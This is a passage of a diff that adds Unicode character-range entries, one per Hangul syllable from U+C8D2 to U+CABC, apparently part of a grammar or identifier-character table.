+ ["\uC8D2", "\uC8D2"], /* Hangul Syllable */
+ ["\uC8D3", "\uC8D3"], /* Hangul Syllable */
+ ["\uC8D4", "\uC8D4"], /* Hangul Syllable */
+ ["\uC8D5", "\uC8D5"], /* Hangul Syllable */
+ ["\uC8D6", "\uC8D6"], /* Hangul Syllable */
+ ["\uC8D7", "\uC8D7"], /* Hangul Syllable */
+ ["\uC8D8", "\uC8D8"], /* Hangul Syllable */
+ ["\uC8D9", "\uC8D9"], /* Hangul Syllable */
+ ["\uC8DA", "\uC8DA"], /* Hangul Syllable */
+ ["\uC8DB", "\uC8DB"], /* Hangul Syllable */
+ ["\uC8DC", "\uC8DC"], /* Hangul Syllable */
+ ["\uC8DD", "\uC8DD"], /* Hangul Syllable */
+ ["\uC8DE", "\uC8DE"], /* Hangul Syllable */
+ ["\uC8DF", "\uC8DF"], /* Hangul Syllable */
+ ["\uC8E0", "\uC8E0"], /* Hangul Syllable */
+ ["\uC8E1", "\uC8E1"], /* Hangul Syllable */
+ ["\uC8E2", "\uC8E2"], /* Hangul Syllable */
+ ["\uC8E3", "\uC8E3"], /* Hangul Syllable */
+ ["\uC8E4", "\uC8E4"], /* Hangul Syllable */
+ ["\uC8E5", "\uC8E5"], /* Hangul Syllable */
+ ["\uC8E6", "\uC8E6"], /* Hangul Syllable */
+ ["\uC8E7", "\uC8E7"], /* Hangul Syllable */
+ ["\uC8E8", "\uC8E8"], /* Hangul Syllable */
+ ["\uC8E9", "\uC8E9"], /* Hangul Syllable */
+ ["\uC8EA", "\uC8EA"], /* Hangul Syllable */
+ ["\uC8EB", "\uC8EB"], /* Hangul Syllable */
+ ["\uC8EC", "\uC8EC"], /* Hangul Syllable */
+ ["\uC8ED", "\uC8ED"], /* Hangul Syllable */
+ ["\uC8EE", "\uC8EE"], /* Hangul Syllable */
+ ["\uC8EF", "\uC8EF"], /* Hangul Syllable */
+ ["\uC8F0", "\uC8F0"], /* Hangul Syllable */
+ ["\uC8F1", "\uC8F1"], /* Hangul Syllable */
+ ["\uC8F2", "\uC8F2"], /* Hangul Syllable */
+ ["\uC8F3", "\uC8F3"], /* Hangul Syllable */
+ ["\uC8F4", "\uC8F4"], /* Hangul Syllable */
+ ["\uC8F5", "\uC8F5"], /* Hangul Syllable */
+ ["\uC8F6", "\uC8F6"], /* Hangul Syllable */
+ ["\uC8F7", "\uC8F7"], /* Hangul Syllable */
+ ["\uC8F8", "\uC8F8"], /* Hangul Syllable */
+ ["\uC8F9", "\uC8F9"], /* Hangul Syllable */
+ ["\uC8FA", "\uC8FA"], /* Hangul Syllable */
+ ["\uC8FB", "\uC8FB"], /* Hangul Syllable */
+ ["\uC8FC", "\uC8FC"], /* Hangul Syllable */
+ ["\uC8FD", "\uC8FD"], /* Hangul Syllable */
+ ["\uC8FE", "\uC8FE"], /* Hangul Syllable */
+ ["\uC8FF", "\uC8FF"], /* Hangul Syllable */
+ ["\uC900", "\uC900"], /* Hangul Syllable */
+ ["\uC901", "\uC901"], /* Hangul Syllable */
+ ["\uC902", "\uC902"], /* Hangul Syllable */
+ ["\uC903", "\uC903"], /* Hangul Syllable */
+ ["\uC904", "\uC904"], /* Hangul Syllable */
+ ["\uC905", "\uC905"], /* Hangul Syllable */
+ ["\uC906", "\uC906"], /* Hangul Syllable */
+ ["\uC907", "\uC907"], /* Hangul Syllable */
+ ["\uC908", "\uC908"], /* Hangul Syllable */
+ ["\uC909", "\uC909"], /* Hangul Syllable */
+ ["\uC90A", "\uC90A"], /* Hangul Syllable */
+ ["\uC90B", "\uC90B"], /* Hangul Syllable */
+ ["\uC90C", "\uC90C"], /* Hangul Syllable */
+ ["\uC90D", "\uC90D"], /* Hangul Syllable */
+ ["\uC90E", "\uC90E"], /* Hangul Syllable */
+ ["\uC90F", "\uC90F"], /* Hangul Syllable */
+ ["\uC910", "\uC910"], /* Hangul Syllable */
+ ["\uC911", "\uC911"], /* Hangul Syllable */
+ ["\uC912", "\uC912"], /* Hangul Syllable */
+ ["\uC913", "\uC913"], /* Hangul Syllable */
+ ["\uC914", "\uC914"], /* Hangul Syllable */
+ ["\uC915", "\uC915"], /* Hangul Syllable */
+ ["\uC916", "\uC916"], /* Hangul Syllable */
+ ["\uC917", "\uC917"], /* Hangul Syllable */
+ ["\uC918", "\uC918"], /* Hangul Syllable */
+ ["\uC919", "\uC919"], /* Hangul Syllable */
+ ["\uC91A", "\uC91A"], /* Hangul Syllable */
+ ["\uC91B", "\uC91B"], /* Hangul Syllable */
+ ["\uC91C", "\uC91C"], /* Hangul Syllable */
+ ["\uC91D", "\uC91D"], /* Hangul Syllable */
+ ["\uC91E", "\uC91E"], /* Hangul Syllable */
+ ["\uC91F", "\uC91F"], /* Hangul Syllable */
+ ["\uC920", "\uC920"], /* Hangul Syllable */
+ ["\uC921", "\uC921"], /* Hangul Syllable */
+ ["\uC922", "\uC922"], /* Hangul Syllable */
+ ["\uC923", "\uC923"], /* Hangul Syllable */
+ ["\uC924", "\uC924"], /* Hangul Syllable */
+ ["\uC925", "\uC925"], /* Hangul Syllable */
+ ["\uC926", "\uC926"], /* Hangul Syllable */
+ ["\uC927", "\uC927"], /* Hangul Syllable */
+ ["\uC928", "\uC928"], /* Hangul Syllable */
+ ["\uC929", "\uC929"], /* Hangul Syllable */
+ ["\uC92A", "\uC92A"], /* Hangul Syllable */
+ ["\uC92B", "\uC92B"], /* Hangul Syllable */
+ ["\uC92C", "\uC92C"], /* Hangul Syllable */
+ ["\uC92D", "\uC92D"], /* Hangul Syllable */
+ ["\uC92E", "\uC92E"], /* Hangul Syllable */
+ ["\uC92F", "\uC92F"], /* Hangul Syllable */
+ ["\uC930", "\uC930"], /* Hangul Syllable */
+ ["\uC931", "\uC931"], /* Hangul Syllable */
+ ["\uC932", "\uC932"], /* Hangul Syllable */
+ ["\uC933", "\uC933"], /* Hangul Syllable */
+ ["\uC934", "\uC934"], /* Hangul Syllable */
+ ["\uC935", "\uC935"], /* Hangul Syllable */
+ ["\uC936", "\uC936"], /* Hangul Syllable */
+ ["\uC937", "\uC937"], /* Hangul Syllable */
+ ["\uC938", "\uC938"], /* Hangul Syllable */
+ ["\uC939", "\uC939"], /* Hangul Syllable */
+ ["\uC93A", "\uC93A"], /* Hangul Syllable */
+ ["\uC93B", "\uC93B"], /* Hangul Syllable */
+ ["\uC93C", "\uC93C"], /* Hangul Syllable */
+ ["\uC93D", "\uC93D"], /* Hangul Syllable */
+ ["\uC93E", "\uC93E"], /* Hangul Syllable */
+ ["\uC93F", "\uC93F"], /* Hangul Syllable */
+ ["\uC940", "\uC940"], /* Hangul Syllable */
+ ["\uC941", "\uC941"], /* Hangul Syllable */
+ ["\uC942", "\uC942"], /* Hangul Syllable */
+ ["\uC943", "\uC943"], /* Hangul Syllable */
+ ["\uC944", "\uC944"], /* Hangul Syllable */
+ ["\uC945", "\uC945"], /* Hangul Syllable */
+ ["\uC946", "\uC946"], /* Hangul Syllable */
+ ["\uC947", "\uC947"], /* Hangul Syllable */
+ ["\uC948", "\uC948"], /* Hangul Syllable */
+ ["\uC949", "\uC949"], /* Hangul Syllable */
+ ["\uC94A", "\uC94A"], /* Hangul Syllable */
+ ["\uC94B", "\uC94B"], /* Hangul Syllable */
+ ["\uC94C", "\uC94C"], /* Hangul Syllable */
+ ["\uC94D", "\uC94D"], /* Hangul Syllable */
+ ["\uC94E", "\uC94E"], /* Hangul Syllable */
+ ["\uC94F", "\uC94F"], /* Hangul Syllable */
+ ["\uC950", "\uC950"], /* Hangul Syllable */
+ ["\uC951", "\uC951"], /* Hangul Syllable */
+ ["\uC952", "\uC952"], /* Hangul Syllable */
+ ["\uC953", "\uC953"], /* Hangul Syllable */
+ ["\uC954", "\uC954"], /* Hangul Syllable */
+ ["\uC955", "\uC955"], /* Hangul Syllable */
+ ["\uC956", "\uC956"], /* Hangul Syllable */
+ ["\uC957", "\uC957"], /* Hangul Syllable */
+ ["\uC958", "\uC958"], /* Hangul Syllable */
+ ["\uC959", "\uC959"], /* Hangul Syllable */
+ ["\uC95A", "\uC95A"], /* Hangul Syllable */
+ ["\uC95B", "\uC95B"], /* Hangul Syllable */
+ ["\uC95C", "\uC95C"], /* Hangul Syllable */
+ ["\uC95D", "\uC95D"], /* Hangul Syllable */
+ ["\uC95E", "\uC95E"], /* Hangul Syllable */
+ ["\uC95F", "\uC95F"], /* Hangul Syllable */
+ ["\uC960", "\uC960"], /* Hangul Syllable */
+ ["\uC961", "\uC961"], /* Hangul Syllable */
+ ["\uC962", "\uC962"], /* Hangul Syllable */
+ ["\uC963", "\uC963"], /* Hangul Syllable */
+ ["\uC964", "\uC964"], /* Hangul Syllable */
+ ["\uC965", "\uC965"], /* Hangul Syllable */
+ ["\uC966", "\uC966"], /* Hangul Syllable */
+ ["\uC967", "\uC967"], /* Hangul Syllable */
+ ["\uC968", "\uC968"], /* Hangul Syllable */
+ ["\uC969", "\uC969"], /* Hangul Syllable */
+ ["\uC96A", "\uC96A"], /* Hangul Syllable */
+ ["\uC96B", "\uC96B"], /* Hangul Syllable */
+ ["\uC96C", "\uC96C"], /* Hangul Syllable */
+ ["\uC96D", "\uC96D"], /* Hangul Syllable */
+ ["\uC96E", "\uC96E"], /* Hangul Syllable */
+ ["\uC96F", "\uC96F"], /* Hangul Syllable */
+ ["\uC970", "\uC970"], /* Hangul Syllable */
+ ["\uC971", "\uC971"], /* Hangul Syllable */
+ ["\uC972", "\uC972"], /* Hangul Syllable */
+ ["\uC973", "\uC973"], /* Hangul Syllable */
+ ["\uC974", "\uC974"], /* Hangul Syllable */
+ ["\uC975", "\uC975"], /* Hangul Syllable */
+ ["\uC976", "\uC976"], /* Hangul Syllable */
+ ["\uC977", "\uC977"], /* Hangul Syllable */
+ ["\uC978", "\uC978"], /* Hangul Syllable */
+ ["\uC979", "\uC979"], /* Hangul Syllable */
+ ["\uC97A", "\uC97A"], /* Hangul Syllable */
+ ["\uC97B", "\uC97B"], /* Hangul Syllable */
+ ["\uC97C", "\uC97C"], /* Hangul Syllable */
+ ["\uC97D", "\uC97D"], /* Hangul Syllable */
+ ["\uC97E", "\uC97E"], /* Hangul Syllable */
+ ["\uC97F", "\uC97F"], /* Hangul Syllable */
+ ["\uC980", "\uC980"], /* Hangul Syllable */
+ ["\uC981", "\uC981"], /* Hangul Syllable */
+ ["\uC982", "\uC982"], /* Hangul Syllable */
+ ["\uC983", "\uC983"], /* Hangul Syllable */
+ ["\uC984", "\uC984"], /* Hangul Syllable */
+ ["\uC985", "\uC985"], /* Hangul Syllable */
+ ["\uC986", "\uC986"], /* Hangul Syllable */
+ ["\uC987", "\uC987"], /* Hangul Syllable */
+ ["\uC988", "\uC988"], /* Hangul Syllable */
+ ["\uC989", "\uC989"], /* Hangul Syllable */
+ ["\uC98A", "\uC98A"], /* Hangul Syllable */
+ ["\uC98B", "\uC98B"], /* Hangul Syllable */
+ ["\uC98C", "\uC98C"], /* Hangul Syllable */
+ ["\uC98D", "\uC98D"], /* Hangul Syllable */
+ ["\uC98E", "\uC98E"], /* Hangul Syllable */
+ ["\uC98F", "\uC98F"], /* Hangul Syllable */
+ ["\uC990", "\uC990"], /* Hangul Syllable */
+ ["\uC991", "\uC991"], /* Hangul Syllable */
+ ["\uC992", "\uC992"], /* Hangul Syllable */
+ ["\uC993", "\uC993"], /* Hangul Syllable */
+ ["\uC994", "\uC994"], /* Hangul Syllable */
+ ["\uC995", "\uC995"], /* Hangul Syllable */
+ ["\uC996", "\uC996"], /* Hangul Syllable */
+ ["\uC997", "\uC997"], /* Hangul Syllable */
+ ["\uC998", "\uC998"], /* Hangul Syllable */
+ ["\uC999", "\uC999"], /* Hangul Syllable */
+ ["\uC99A", "\uC99A"], /* Hangul Syllable */
+ ["\uC99B", "\uC99B"], /* Hangul Syllable */
+ ["\uC99C", "\uC99C"], /* Hangul Syllable */
+ ["\uC99D", "\uC99D"], /* Hangul Syllable */
+ ["\uC99E", "\uC99E"], /* Hangul Syllable */
+ ["\uC99F", "\uC99F"], /* Hangul Syllable */
+ ["\uC9A0", "\uC9A0"], /* Hangul Syllable */
+ ["\uC9A1", "\uC9A1"], /* Hangul Syllable */
+ ["\uC9A2", "\uC9A2"], /* Hangul Syllable */
+ ["\uC9A3", "\uC9A3"], /* Hangul Syllable */
+ ["\uC9A4", "\uC9A4"], /* Hangul Syllable */
+ ["\uC9A5", "\uC9A5"], /* Hangul Syllable */
+ ["\uC9A6", "\uC9A6"], /* Hangul Syllable */
+ ["\uC9A7", "\uC9A7"], /* Hangul Syllable */
+ ["\uC9A8", "\uC9A8"], /* Hangul Syllable */
+ ["\uC9A9", "\uC9A9"], /* Hangul Syllable */
+ ["\uC9AA", "\uC9AA"], /* Hangul Syllable */
+ ["\uC9AB", "\uC9AB"], /* Hangul Syllable */
+ ["\uC9AC", "\uC9AC"], /* Hangul Syllable */
+ ["\uC9AD", "\uC9AD"], /* Hangul Syllable */
+ ["\uC9AE", "\uC9AE"], /* Hangul Syllable */
+ ["\uC9AF", "\uC9AF"], /* Hangul Syllable */
+ ["\uC9B0", "\uC9B0"], /* Hangul Syllable */
+ ["\uC9B1", "\uC9B1"], /* Hangul Syllable */
+ ["\uC9B2", "\uC9B2"], /* Hangul Syllable */
+ ["\uC9B3", "\uC9B3"], /* Hangul Syllable */
+ ["\uC9B4", "\uC9B4"], /* Hangul Syllable */
+ ["\uC9B5", "\uC9B5"], /* Hangul Syllable */
+ ["\uC9B6", "\uC9B6"], /* Hangul Syllable */
+ ["\uC9B7", "\uC9B7"], /* Hangul Syllable */
+ ["\uC9B8", "\uC9B8"], /* Hangul Syllable */
+ ["\uC9B9", "\uC9B9"], /* Hangul Syllable */
+ ["\uC9BA", "\uC9BA"], /* Hangul Syllable */
+ ["\uC9BB", "\uC9BB"], /* Hangul Syllable */
+ ["\uC9BC", "\uC9BC"], /* Hangul Syllable */
+ ["\uC9BD", "\uC9BD"], /* Hangul Syllable */
+ ["\uC9BE", "\uC9BE"], /* Hangul Syllable */
+ ["\uC9BF", "\uC9BF"], /* Hangul Syllable */
+ ["\uC9C0", "\uC9C0"], /* Hangul Syllable */
+ ["\uC9C1", "\uC9C1"], /* Hangul Syllable */
+ ["\uC9C2", "\uC9C2"], /* Hangul Syllable */
+ ["\uC9C3", "\uC9C3"], /* Hangul Syllable */
+ ["\uC9C4", "\uC9C4"], /* Hangul Syllable */
+ ["\uC9C5", "\uC9C5"], /* Hangul Syllable */
+ ["\uC9C6", "\uC9C6"], /* Hangul Syllable */
+ ["\uC9C7", "\uC9C7"], /* Hangul Syllable */
+ ["\uC9C8", "\uC9C8"], /* Hangul Syllable */
+ ["\uC9C9", "\uC9C9"], /* Hangul Syllable */
+ ["\uC9CA", "\uC9CA"], /* Hangul Syllable */
+ ["\uC9CB", "\uC9CB"], /* Hangul Syllable */
+ ["\uC9CC", "\uC9CC"], /* Hangul Syllable */
+ ["\uC9CD", "\uC9CD"], /* Hangul Syllable */
+ ["\uC9CE", "\uC9CE"], /* Hangul Syllable */
+ ["\uC9CF", "\uC9CF"], /* Hangul Syllable */
+ ["\uC9D0", "\uC9D0"], /* Hangul Syllable */
+ ["\uC9D1", "\uC9D1"], /* Hangul Syllable */
+ ["\uC9D2", "\uC9D2"], /* Hangul Syllable */
+ ["\uC9D3", "\uC9D3"], /* Hangul Syllable */
+ ["\uC9D4", "\uC9D4"], /* Hangul Syllable */
+ ["\uC9D5", "\uC9D5"], /* Hangul Syllable */
+ ["\uC9D6", "\uC9D6"], /* Hangul Syllable */
+ ["\uC9D7", "\uC9D7"], /* Hangul Syllable */
+ ["\uC9D8", "\uC9D8"], /* Hangul Syllable */
+ ["\uC9D9", "\uC9D9"], /* Hangul Syllable */
+ ["\uC9DA", "\uC9DA"], /* Hangul Syllable */
+ ["\uC9DB", "\uC9DB"], /* Hangul Syllable */
+ ["\uC9DC", "\uC9DC"], /* Hangul Syllable */
+ ["\uC9DD", "\uC9DD"], /* Hangul Syllable */
+ ["\uC9DE", "\uC9DE"], /* Hangul Syllable */
+ ["\uC9DF", "\uC9DF"], /* Hangul Syllable */
+ ["\uC9E0", "\uC9E0"], /* Hangul Syllable */
+ ["\uC9E1", "\uC9E1"], /* Hangul Syllable */
+ ["\uC9E2", "\uC9E2"], /* Hangul Syllable */
+ ["\uC9E3", "\uC9E3"], /* Hangul Syllable */
+ ["\uC9E4", "\uC9E4"], /* Hangul Syllable */
+ ["\uC9E5", "\uC9E5"], /* Hangul Syllable */
+ ["\uC9E6", "\uC9E6"], /* Hangul Syllable */
+ ["\uC9E7", "\uC9E7"], /* Hangul Syllable */
+ ["\uC9E8", "\uC9E8"], /* Hangul Syllable */
+ ["\uC9E9", "\uC9E9"], /* Hangul Syllable */
+ ["\uC9EA", "\uC9EA"], /* Hangul Syllable */
+ ["\uC9EB", "\uC9EB"], /* Hangul Syllable */
+ ["\uC9EC", "\uC9EC"], /* Hangul Syllable */
+ ["\uC9ED", "\uC9ED"], /* Hangul Syllable */
+ ["\uC9EE", "\uC9EE"], /* Hangul Syllable */
+ ["\uC9EF", "\uC9EF"], /* Hangul Syllable */
+ ["\uC9F0", "\uC9F0"], /* Hangul Syllable */
+ ["\uC9F1", "\uC9F1"], /* Hangul Syllable */
+ ["\uC9F2", "\uC9F2"], /* Hangul Syllable */
+ ["\uC9F3", "\uC9F3"], /* Hangul Syllable */
+ ["\uC9F4", "\uC9F4"], /* Hangul Syllable */
+ ["\uC9F5", "\uC9F5"], /* Hangul Syllable */
+ ["\uC9F6", "\uC9F6"], /* Hangul Syllable */
+ ["\uC9F7", "\uC9F7"], /* Hangul Syllable */
+ ["\uC9F8", "\uC9F8"], /* Hangul Syllable */
+ ["\uC9F9", "\uC9F9"], /* Hangul Syllable */
+ ["\uC9FA", "\uC9FA"], /* Hangul Syllable */
+ ["\uC9FB", "\uC9FB"], /* Hangul Syllable */
+ ["\uC9FC", "\uC9FC"], /* Hangul Syllable */
+ ["\uC9FD", "\uC9FD"], /* Hangul Syllable */
+ ["\uC9FE", "\uC9FE"], /* Hangul Syllable */
+ ["\uC9FF", "\uC9FF"], /* Hangul Syllable */
+ ["\uCA00", "\uCA00"], /* Hangul Syllable */
+ ["\uCA01", "\uCA01"], /* Hangul Syllable */
+ ["\uCA02", "\uCA02"], /* Hangul Syllable */
+ ["\uCA03", "\uCA03"], /* Hangul Syllable */
+ ["\uCA04", "\uCA04"], /* Hangul Syllable */
+ ["\uCA05", "\uCA05"], /* Hangul Syllable */
+ ["\uCA06", "\uCA06"], /* Hangul Syllable */
+ ["\uCA07", "\uCA07"], /* Hangul Syllable */
+ ["\uCA08", "\uCA08"], /* Hangul Syllable */
+ ["\uCA09", "\uCA09"], /* Hangul Syllable */
+ ["\uCA0A", "\uCA0A"], /* Hangul Syllable */
+ ["\uCA0B", "\uCA0B"], /* Hangul Syllable */
+ ["\uCA0C", "\uCA0C"], /* Hangul Syllable */
+ ["\uCA0D", "\uCA0D"], /* Hangul Syllable */
+ ["\uCA0E", "\uCA0E"], /* Hangul Syllable */
+ ["\uCA0F", "\uCA0F"], /* Hangul Syllable */
+ ["\uCA10", "\uCA10"], /* Hangul Syllable */
+ ["\uCA11", "\uCA11"], /* Hangul Syllable */
+ ["\uCA12", "\uCA12"], /* Hangul Syllable */
+ ["\uCA13", "\uCA13"], /* Hangul Syllable */
+ ["\uCA14", "\uCA14"], /* Hangul Syllable */
+ ["\uCA15", "\uCA15"], /* Hangul Syllable */
+ ["\uCA16", "\uCA16"], /* Hangul Syllable */
+ ["\uCA17", "\uCA17"], /* Hangul Syllable */
+ ["\uCA18", "\uCA18"], /* Hangul Syllable */
+ ["\uCA19", "\uCA19"], /* Hangul Syllable */
+ ["\uCA1A", "\uCA1A"], /* Hangul Syllable */
+ ["\uCA1B", "\uCA1B"], /* Hangul Syllable */
+ ["\uCA1C", "\uCA1C"], /* Hangul Syllable */
+ ["\uCA1D", "\uCA1D"], /* Hangul Syllable */
+ ["\uCA1E", "\uCA1E"], /* Hangul Syllable */
+ ["\uCA1F", "\uCA1F"], /* Hangul Syllable */
+ ["\uCA20", "\uCA20"], /* Hangul Syllable */
+ ["\uCA21", "\uCA21"], /* Hangul Syllable */
+ ["\uCA22", "\uCA22"], /* Hangul Syllable */
+ ["\uCA23", "\uCA23"], /* Hangul Syllable */
+ ["\uCA24", "\uCA24"], /* Hangul Syllable */
+ ["\uCA25", "\uCA25"], /* Hangul Syllable */
+ ["\uCA26", "\uCA26"], /* Hangul Syllable */
+ ["\uCA27", "\uCA27"], /* Hangul Syllable */
+ ["\uCA28", "\uCA28"], /* Hangul Syllable */
+ ["\uCA29", "\uCA29"], /* Hangul Syllable */
+ ["\uCA2A", "\uCA2A"], /* Hangul Syllable */
+ ["\uCA2B", "\uCA2B"], /* Hangul Syllable */
+ ["\uCA2C", "\uCA2C"], /* Hangul Syllable */
+ ["\uCA2D", "\uCA2D"], /* Hangul Syllable */
+ ["\uCA2E", "\uCA2E"], /* Hangul Syllable */
+ ["\uCA2F", "\uCA2F"], /* Hangul Syllable */
+ ["\uCA30", "\uCA30"], /* Hangul Syllable */
+ ["\uCA31", "\uCA31"], /* Hangul Syllable */
+ ["\uCA32", "\uCA32"], /* Hangul Syllable */
+ ["\uCA33", "\uCA33"], /* Hangul Syllable */
+ ["\uCA34", "\uCA34"], /* Hangul Syllable */
+ ["\uCA35", "\uCA35"], /* Hangul Syllable */
+ ["\uCA36", "\uCA36"], /* Hangul Syllable */
+ ["\uCA37", "\uCA37"], /* Hangul Syllable */
+ ["\uCA38", "\uCA38"], /* Hangul Syllable */
+ ["\uCA39", "\uCA39"], /* Hangul Syllable */
+ ["\uCA3A", "\uCA3A"], /* Hangul Syllable */
+ ["\uCA3B", "\uCA3B"], /* Hangul Syllable */
+ ["\uCA3C", "\uCA3C"], /* Hangul Syllable */
+ ["\uCA3D", "\uCA3D"], /* Hangul Syllable */
+ ["\uCA3E", "\uCA3E"], /* Hangul Syllable */
+ ["\uCA3F", "\uCA3F"], /* Hangul Syllable */
+ ["\uCA40", "\uCA40"], /* Hangul Syllable */
+ ["\uCA41", "\uCA41"], /* Hangul Syllable */
+ ["\uCA42", "\uCA42"], /* Hangul Syllable */
+ ["\uCA43", "\uCA43"], /* Hangul Syllable */
+ ["\uCA44", "\uCA44"], /* Hangul Syllable */
+ ["\uCA45", "\uCA45"], /* Hangul Syllable */
+ ["\uCA46", "\uCA46"], /* Hangul Syllable */
+ ["\uCA47", "\uCA47"], /* Hangul Syllable */
+ ["\uCA48", "\uCA48"], /* Hangul Syllable */
+ ["\uCA49", "\uCA49"], /* Hangul Syllable */
+ ["\uCA4A", "\uCA4A"], /* Hangul Syllable */
+ ["\uCA4B", "\uCA4B"], /* Hangul Syllable */
+ ["\uCA4C", "\uCA4C"], /* Hangul Syllable */
+ ["\uCA4D", "\uCA4D"], /* Hangul Syllable */
+ ["\uCA4E", "\uCA4E"], /* Hangul Syllable */
+ ["\uCA4F", "\uCA4F"], /* Hangul Syllable */
+ ["\uCA50", "\uCA50"], /* Hangul Syllable */
+ ["\uCA51", "\uCA51"], /* Hangul Syllable */
+ ["\uCA52", "\uCA52"], /* Hangul Syllable */
+ ["\uCA53", "\uCA53"], /* Hangul Syllable */
+ ["\uCA54", "\uCA54"], /* Hangul Syllable */
+ ["\uCA55", "\uCA55"], /* Hangul Syllable */
+ ["\uCA56", "\uCA56"], /* Hangul Syllable */
+ ["\uCA57", "\uCA57"], /* Hangul Syllable */
+ ["\uCA58", "\uCA58"], /* Hangul Syllable */
+ ["\uCA59", "\uCA59"], /* Hangul Syllable */
+ ["\uCA5A", "\uCA5A"], /* Hangul Syllable */
+ ["\uCA5B", "\uCA5B"], /* Hangul Syllable */
+ ["\uCA5C", "\uCA5C"], /* Hangul Syllable */
+ ["\uCA5D", "\uCA5D"], /* Hangul Syllable */
+ ["\uCA5E", "\uCA5E"], /* Hangul Syllable */
+ ["\uCA5F", "\uCA5F"], /* Hangul Syllable */
+ ["\uCA60", "\uCA60"], /* Hangul Syllable */
+ ["\uCA61", "\uCA61"], /* Hangul Syllable */
+ ["\uCA62", "\uCA62"], /* Hangul Syllable */
+ ["\uCA63", "\uCA63"], /* Hangul Syllable */
+ ["\uCA64", "\uCA64"], /* Hangul Syllable */
+ ["\uCA65", "\uCA65"], /* Hangul Syllable */
+ ["\uCA66", "\uCA66"], /* Hangul Syllable */
+ ["\uCA67", "\uCA67"], /* Hangul Syllable */
+ ["\uCA68", "\uCA68"], /* Hangul Syllable */
+ ["\uCA69", "\uCA69"], /* Hangul Syllable */
+ ["\uCA6A", "\uCA6A"], /* Hangul Syllable */
+ ["\uCA6B", "\uCA6B"], /* Hangul Syllable */
+ ["\uCA6C", "\uCA6C"], /* Hangul Syllable */
+ ["\uCA6D", "\uCA6D"], /* Hangul Syllable */
+ ["\uCA6E", "\uCA6E"], /* Hangul Syllable */
+ ["\uCA6F", "\uCA6F"], /* Hangul Syllable */
+ ["\uCA70", "\uCA70"], /* Hangul Syllable */
+ ["\uCA71", "\uCA71"], /* Hangul Syllable */
+ ["\uCA72", "\uCA72"], /* Hangul Syllable */
+ ["\uCA73", "\uCA73"], /* Hangul Syllable */
+ ["\uCA74", "\uCA74"], /* Hangul Syllable */
+ ["\uCA75", "\uCA75"], /* Hangul Syllable */
+ ["\uCA76", "\uCA76"], /* Hangul Syllable */
+ ["\uCA77", "\uCA77"], /* Hangul Syllable */
+ ["\uCA78", "\uCA78"], /* Hangul Syllable */
+ ["\uCA79", "\uCA79"], /* Hangul Syllable */
+ ["\uCA7A", "\uCA7A"], /* Hangul Syllable */
+ ["\uCA7B", "\uCA7B"], /* Hangul Syllable */
+ ["\uCA7C", "\uCA7C"], /* Hangul Syllable */
+ ["\uCA7D", "\uCA7D"], /* Hangul Syllable */
+ ["\uCA7E", "\uCA7E"], /* Hangul Syllable */
+ ["\uCA7F", "\uCA7F"], /* Hangul Syllable */
+ ["\uCA80", "\uCA80"], /* Hangul Syllable */
+ ["\uCA81", "\uCA81"], /* Hangul Syllable */
+ ["\uCA82", "\uCA82"], /* Hangul Syllable */
+ ["\uCA83", "\uCA83"], /* Hangul Syllable */
+ ["\uCA84", "\uCA84"], /* Hangul Syllable */
+ ["\uCA85", "\uCA85"], /* Hangul Syllable */
+ ["\uCA86", "\uCA86"], /* Hangul Syllable */
+ ["\uCA87", "\uCA87"], /* Hangul Syllable */
+ ["\uCA88", "\uCA88"], /* Hangul Syllable */
+ ["\uCA89", "\uCA89"], /* Hangul Syllable */
+ ["\uCA8A", "\uCA8A"], /* Hangul Syllable */
+ ["\uCA8B", "\uCA8B"], /* Hangul Syllable */
+ ["\uCA8C", "\uCA8C"], /* Hangul Syllable */
+ ["\uCA8D", "\uCA8D"], /* Hangul Syllable */
+ ["\uCA8E", "\uCA8E"], /* Hangul Syllable */
+ ["\uCA8F", "\uCA8F"], /* Hangul Syllable */
+ ["\uCA90", "\uCA90"], /* Hangul Syllable */
+ ["\uCA91", "\uCA91"], /* Hangul Syllable */
+ ["\uCA92", "\uCA92"], /* Hangul Syllable */
+ ["\uCA93", "\uCA93"], /* Hangul Syllable */
+ ["\uCA94", "\uCA94"], /* Hangul Syllable */
+ ["\uCA95", "\uCA95"], /* Hangul Syllable */
+ ["\uCA96", "\uCA96"], /* Hangul Syllable */
+ ["\uCA97", "\uCA97"], /* Hangul Syllable */
+ ["\uCA98", "\uCA98"], /* Hangul Syllable */
+ ["\uCA99", "\uCA99"], /* Hangul Syllable */
+ ["\uCA9A", "\uCA9A"], /* Hangul Syllable */
+ ["\uCA9B", "\uCA9B"], /* Hangul Syllable */
+ ["\uCA9C", "\uCA9C"], /* Hangul Syllable */
+ ["\uCA9D", "\uCA9D"], /* Hangul Syllable */
+ ["\uCA9E", "\uCA9E"], /* Hangul Syllable */
+ ["\uCA9F", "\uCA9F"], /* Hangul Syllable */
+ ["\uCAA0", "\uCAA0"], /* Hangul Syllable */
+ ["\uCAA1", "\uCAA1"], /* Hangul Syllable */
+ ["\uCAA2", "\uCAA2"], /* Hangul Syllable */
+ ["\uCAA3", "\uCAA3"], /* Hangul Syllable */
+ ["\uCAA4", "\uCAA4"], /* Hangul Syllable */
+ ["\uCAA5", "\uCAA5"], /* Hangul Syllable */
+ ["\uCAA6", "\uCAA6"], /* Hangul Syllable */
+ ["\uCAA7", "\uCAA7"], /* Hangul Syllable */
+ ["\uCAA8", "\uCAA8"], /* Hangul Syllable */
+ ["\uCAA9", "\uCAA9"], /* Hangul Syllable */
+ ["\uCAAA", "\uCAAA"], /* Hangul Syllable */
+ ["\uCAAB", "\uCAAB"], /* Hangul Syllable */
+ ["\uCAAC", "\uCAAC"], /* Hangul Syllable */
+ ["\uCAAD", "\uCAAD"], /* Hangul Syllable */
+ ["\uCAAE", "\uCAAE"], /* Hangul Syllable */
+ ["\uCAAF", "\uCAAF"], /* Hangul Syllable */
+ ["\uCAB0", "\uCAB0"], /* Hangul Syllable */
+ ["\uCAB1", "\uCAB1"], /* Hangul Syllable */
+ ["\uCAB2", "\uCAB2"], /* Hangul Syllable */
+ ["\uCAB3", "\uCAB3"], /* Hangul Syllable */
+ ["\uCAB4", "\uCAB4"], /* Hangul Syllable */
+ ["\uCAB5", "\uCAB5"], /* Hangul Syllable */
+ ["\uCAB6", "\uCAB6"], /* Hangul Syllable */
+ ["\uCAB7", "\uCAB7"], /* Hangul Syllable */
+ ["\uCAB8", "\uCAB8"], /* Hangul Syllable */
+ ["\uCAB9", "\uCAB9"], /* Hangul Syllable */
+ ["\uCABA", "\uCABA"], /* Hangul Syllable */
+ ["\uCABB", "\uCABB"], /* Hangul Syllable */
+ ["\uCABC", "\uCABC"], /* Hangul Syllable */
